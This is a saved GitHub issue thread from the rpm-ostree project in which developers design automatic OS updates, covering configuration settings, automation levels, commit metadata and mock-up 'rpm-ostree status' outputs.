**Created:**| _1/2/2019 6:47:31 PM_  
---|---  
**Updated:**| _1/2/2019 6:47:31 PM_  
**Author:**| __  
**Tags:**| __  
  

  

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-eye v-align-text-bottom js-evernote-checked' viewBox='0 0 16 16' version='1.1' width='16' height='16' aria-hidden='true' data-evernote-id='13'%3e%3cpath fill-rule='evenodd' d='M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z' data-evernote-id='1180' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Watch You must be signed in to watch a repository 61 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-star v-align-text-bottom js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' aria-hidden='true' data-evernote-id='14'%3e%3cpath fill-rule='evenodd' d='M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z' data-evernote-id='1182' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Star You must be signed in to star a repository 274 
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' class='octicon octicon-repo-forked v-align-text-bottom js-evernote-checked' viewBox='0 0 10 16' version='1.1' width='10' height='16' aria-hidden='true' data-evernote-id='15'%3e%3cpath fill-rule='evenodd' d='M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='1184' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Fork You must be signed in to fork a repository 89 

#  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-repo js-evernote-checked' viewBox='0 0 12 16'
version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='16'%3e%3cpath fill-rule='evenodd' d='M4
9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1
1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1
1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z' data-evernote-id='1185' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> projectatomic/**rpm-ostree**

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-code js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='17'%3e%3cpath fill-rule='evenodd' d='M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14
8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z' data-evernote-id='1189'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Code <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-issue-opened js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='18'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='1193' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Issues 184
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-pull-request js-evernote-checked' viewBox='0 0 12
16' version='1.1' width='12' height='16' aria-hidden='true' data-evernote-
id='19'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='1198' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Pull requests 19 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-project js-evernote-checked' viewBox='0 0 15 16'
version='1.1' width='15' height='16' aria-hidden='true' data-evernote-
id='20'%3e%3cpath fill-rule='evenodd' d='M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0
1-1V1a1 1 0 0 0-1-1z' data-evernote-id='1202' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Projects 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-graph js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='21'%3e%3cpath fill-rule='evenodd' d='M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z' data-evernote-id='1204' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Insights

### Join GitHub today

GitHub is home to over 28 million developers working together to host and
review code, manage projects, and build software together.

Sign up

New issue

#  ⌚️ Automatic updates  \#247

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-issue-opened js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='24'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='1246' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Open

cgwalters opened this Issue on Mar 23, 2016 · 45 comments

## Comments

Assignees

No one assigned

Labels

enhancement jirafor syncing to jira

Projects

None yet

Milestone

No milestone

6 participants

<img src='img/14292_244096' width='26' height='26' /> <img src='img/4530030'
width='26' height='26' /> <img src='img/11934099' width='26' height='26' />
<img src='img/14296_498858' width='26' height='26' /> <img src='img/22840230'
width='26' height='26' /> <img src='img/14294_22706' width='26' height='26' />

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='25'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1282'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Mar 23, 2016 •

edited  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='11' class='octicon octicon-triangle-down v-align-middle js-evernote-
checked' viewBox='0 0 12 16' version='1.1' width='8' aria-hidden='true' data-
evernote-id='26'%3e%3cpath fill-rule='evenodd' d='M0 5l6 6 6-6H0z' data-
evernote-id='1293' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

EDIT 20181206: Today with rpm-ostree if you want to enable automatic
background updates, edit `/etc/rpm-ostreed.conf`, and ensure that the `Daemon`
section looks like:

[code]

    [Daemon]
    AutomaticUpdatePolicy=stage
    #IdleExitTimeout=60
    
[/code]

Next then, `systemctl enable rpm-ostree-automatic.timer`. This won't
automatically reboot though. This thread though contains a lot of background
information/design around higher level issues.

* * *
Initial PR: \#1147  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='27'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1325' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/14293_244096'
width='16' height='16' /> cgwalters referenced this issue  on Mar 23, 2016

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-closed js-evernote-checked'
viewBox='0 0 16 16' version='1.1' width='14' aria-hidden='true' data-evernote-
id='28'%3e%3cpath fill-rule='evenodd' d='M7 10h2v2H7v-2zm2-6H7v5h2V4zm1.5
1.5l-1 1L12 9l4-4.5-1-1L12 7l-1.5-1.5zM8 13.7A5.71 5.71 0 0 1 2.3 8c0-3.14
2.56-5.7 5.7-5.7 1.83 0 3.45.88 4.5 2.2l.92-.92A6.947 6.947 0 0 0 8 1C4.14 1 1
4.14 1 8s3.14 7 7 7 7-3.14 7-7l-1.52 1.52c-.66 2.41-2.86 4.19-5.48 4.19v-.01z'
data-evernote-id='1328' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/> Closed

####  atomic-upgrade-svc \#44

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='29'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1342'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Mar 23, 2016

If we do have hands-off upgrades that's going to drive a more immediate need
for automated rollbacks. That's \#177  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='30'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1369'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2017

I am now thinking the default model for automatic updates should involve
automatic downloading/queuing. Having to download just the rpmdb to display
diffs sucks for multiple reasons. Among them it's going to be hard to support
if we move to OCI images. Plus I'd like to support a "deltas only" ostree repo
mode. Or a combination. Beyond that, for the majority of cases such as
standalone desktop, enterprise desktop, enterprise server this is what I think
is a good default. Enterprise particularly if we encourage local mirroring.
One case where people may not want this is standalone embedded systems, but we
can obviously support the status quo of typing `rpm-ostree upgrade`. This is
more about defaults and UI workflow of the tools.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='31'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1397'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2017

So specifically for Cockpit, I'd like to move them away from the `GetCached*`
DBus API towards a UI that's oriented around controlling automatic updates.  
---  
<img src='img/14297_4530030' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='32'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1424'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Collaborator This user has been invited to collaborate on the rpm-ostree
repository.

###  **dustymabe ** commented on Jan 20, 2017

> Having to download just the rpmdb to display diffs sucks
So.. I have an idea for this \(probably not a very good one\). See \#558 where
in the 2nd paragraph I say

[code]

    I think we can achieve this goal if we add, in a predictable format, the list of rpms in that commit to the commit log message.
    
[/code]

That way we don't need the rpmdb to do a diff. Also we can choose to only use
the rpm data from the commit message if the rpmdb doesn't exist locally, i.e.
we only have metadata about the commit. WDYT?  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='33'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96
1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39
1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38
7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16
1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-
id='1447' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img
src='img/11934099' width='16' height='16' /> jlebon added the  enhancement
label on Mar 15, 2017

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='34'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1453' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/14293_244096'
width='16' height='16' /> cgwalters referenced this issue  on Jul 11, 2017

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-closed js-evernote-checked'
viewBox='0 0 16 16' version='1.1' width='14' aria-hidden='true' data-evernote-
id='35'%3e%3cpath fill-rule='evenodd' d='M7 10h2v2H7v-2zm2-6H7v5h2V4zm1.5
1.5l-1 1L12 9l4-4.5-1-1L12 7l-1.5-1.5zM8 13.7A5.71 5.71 0 0 1 2.3 8c0-3.14
2.56-5.7 5.7-5.7 1.83 0 3.45.88 4.5 2.2l.92-.92A6.947 6.947 0 0 0 8 1C4.14 1 1
4.14 1 8s3.14 7 7 7 7-3.14 7-7l-1.52 1.52c-.66 2.41-2.86 4.19-5.48 4.19v-.01z'
data-evernote-id='1456' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/> Closed

####  upgrade --preview does not account for layered packages \#864

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='36'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1470'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jul 11, 2017

Yeah, I think we can put at least the NEVRAs in the commit header.

[code]

    # rpm -qa|xz | wc -c
    4180
    
[/code]

which isn't too bad.  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='37'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1496' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099'
width='16' height='16' /> jlebon referenced this issue  on Oct 25, 2017

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-git-pull-request js-evernote-checked'
viewBox='0 0 12 16' version='1.1' width='10' aria-hidden='true' data-evernote-
id='38'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='1499' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Closed

####  core: Add rpmmd-repos metadata to final commit \#1072

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='39'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1513'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Oct 25, 2017

I think this also blocks on ostreedev/ostree\#545  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='40'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1540'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Dec 5, 2017

Had a chat with @cgwalters about this today. Here are the notes from that:
High-level expectations:

  1. `rpm-ostree status` should indicate:
     * if auto-update is completely off, then a line to that effect
     * if no updates are present, then the last time updates were successfully checked for; this is important to ensure users are aware of any e.g. timer/networking etc... issues that may give them a false sense of security
     * if an update is present, then what the pending version/csum and pkgs are, and importantly whether there are any security updates. Be able to provide a diff with e.g. `-v` \(bottom has mock-up outputs\).
  2. Users can choose between different levels of automation. Possible levels to consider:  
a\) `[none]` \(current\)  
b\) `[check]` \(download the minimal amount of ostree/rpmmd metadata to know
that there is an update and describe it\)  
\- This would be a good default to ship with  
walters: Two check phases: Check just md freshness, versus download full md?
Or maybe too hard.  
c\) `[download]` \(download the full ostree/new packages\)  
d\) `[deploy]` \(deploy but don't reboot\)  
\- This of course would be blocked on  
\#40  
ostreedev/ostree\#545  
e\) `[reboot]` \(deploy and reboot\)

I feel like between all of these steps, at least for the desktop we need to
think about having `gnome-software` be in control of triggers. Similarly for
server side, Ansible control for blue/green. Implementation:

  1. include rpmdb pkglist in commit metadata during compose 
     * for jigdo, should we split the jigdo RPM into a thinner commit metadata only one and a fatter content one? this could also help with gpg signature verification
     * or just making the jigdo RPM just `Requires` all the packages and fetch that pkglist from rpmmd
  2. leave package\_diff and cached\* API business separate for now; they need to always work for Cockpit even on commits without the new rpmdb pkglist and they download `/usr/share/rpm` \-- we can look to unify this with the `deploy_transaction_execute` flow afterwards so that it uses the new pkglist if available, otherwise falls back?
  3. teach the deploy transaction the needed logic to support the `[check]` mode \(i.e. turn on commit metadata only, refresh rpmmd, heuristically try to find updates to layered pkgs\). `[download]` is already supported by `--download-only`.
  4. enhance the `CachedUpdate` property in a backcompatible manner to also include rpm diff and make deploy transaction update that during non-deploy mode.
  5. teach status to read `CachedUpdate` property and display the relevant info
  6. ship systemd timer & service that calls `upgrade` with a hidden `--auto=$MODE` switch with MODE coming from e.g. `/etc/rpm-ostree-automatic.conf`.

Other considerations:

  * where to keep: 
    1. last update check 
       * bump timestamp on a file in `/var/cache`?
    2. auto-update policy setting 
       * `/etc/rpm-ostree-automatic.conf`?
  * how should the systemd timer & auto-update mode be managed? purely by systemctl and e.g. `vi /etc/rpm-ostree-automatic.conf`, or should rpm-ostree provide a wrapper for it? leaning more towards the former.

Mock-up status outputs:

[code]

    $ rpm-ostree status
    State: idle, automatic updates enabled (download)
    Deployments:
    ● atomicws:fedora/x86_64/workstation
                       Version: 26.230 (2017-10-15 03:11:00)
                    BaseCommit: b8503c69c36591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
               LayeredPackages: krb5-workstation libvirt-client mosh sshpass strace tmux
    
    Pending update:
                Version: 26.241 (2017-11-28 12:09:24)
                 Commit: abcdef12344591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
                   Diff: 12 upgrades, 2 downgrades, 2 removals, 1 addition
    
    $ rpm-ostree status --verbose
    State: idle, automatic updates enabled (download)
    Deployments:
    ● atomicws:fedora/x86_64/workstation
                       Version: 26.230 (2017-10-15 03:11:00)
                    BaseCommit: b8503c69c36591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
               LayeredPackages: krb5-workstation libvirt-client mosh sshpass strace tmux
    
    Pending update:
                Version: 26.241 (2017-11-28 12:09:24)
                 Commit: abcdef12344591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
               Upgraded: 12 packages
                         |- asdf 1.23.213 -> 5.12.23
                         ...
                         `- rtyu 2.4 -> 12.3
                         (includes both tree updates and layering updates)
             Downgraded: 2 packages
                         |- zxcv-2.1.23
                         ...
                         (just includes tree updates)
                Removed: 2 packages
                         |- zxcv-2.1.23
                         ...
                         (just includes tree updates)
                  Added: 1 packages
                         |- zxcv-2.1.23
                         ...
                         (just includes tree updates)
    
    # when there are security updates:
    
    $ rpm-ostree status
    ...
    Pending update:
                Version: 26.241 (2017-11-28 12:09:24)
                 Commit: abcdef12344591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
        SecurityUpdates: 2 packages (kernel, openssh-clients)    [[BOLDED RED]]
                   Diff: 2 upgrades
    
    $ rpm-ostree status --verbose
    ...
    Pending update:
                Version: 26.241 (2017-11-28 12:09:24)
                 Commit: abcdef12344591606c11743abdfeb5591c1ae8d9c3c69c18a583071b3b7caf3f
        SecurityUpdates: 2 packages
                         |- kernel
                         |  |- <list of available references & URLs>
                         |  `- ...
                         `- openssh-clients
                            |- <list of available references & URLs>
                            `- ...
               Upgraded: 2 packages
                         |- kernel 1.2.3 -> 4.5.6
                         `- openssh-clients 1.2 -> 3.4
    
[/code]  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='41'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1604' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> This was referenced on Dec 5,
2017

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-closed js-evernote-checked'
viewBox='0 0 16 16' version='1.1' width='14' aria-hidden='true' data-evernote-
id='42'%3e%3cpath fill-rule='evenodd' d='M7 10h2v2H7v-2zm2-6H7v5h2V4zm1.5
1.5l-1 1L12 9l4-4.5-1-1L12 7l-1.5-1.5zM8 13.7A5.71 5.71 0 0 1 2.3 8c0-3.14
2.56-5.7 5.7-5.7 1.83 0 3.45.88 4.5 2.2l.92-.92A6.947 6.947 0 0 0 8 1C4.14 1 1
4.14 1 8s3.14 7 7 7 7-3.14 7-7l-1.52 1.52c-.66 2.41-2.86 4.19-5.48 4.19v-.01z'
data-evernote-id='1608' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/> Closed

####  jigdo mode: make jigdo RPM have a Requires on all packages in
constituent ostree commit \#1132

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-opened js-evernote-checked'
viewBox='0 0 14 16' version='1.1' width='12' aria-hidden='true' data-evernote-
id='43'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
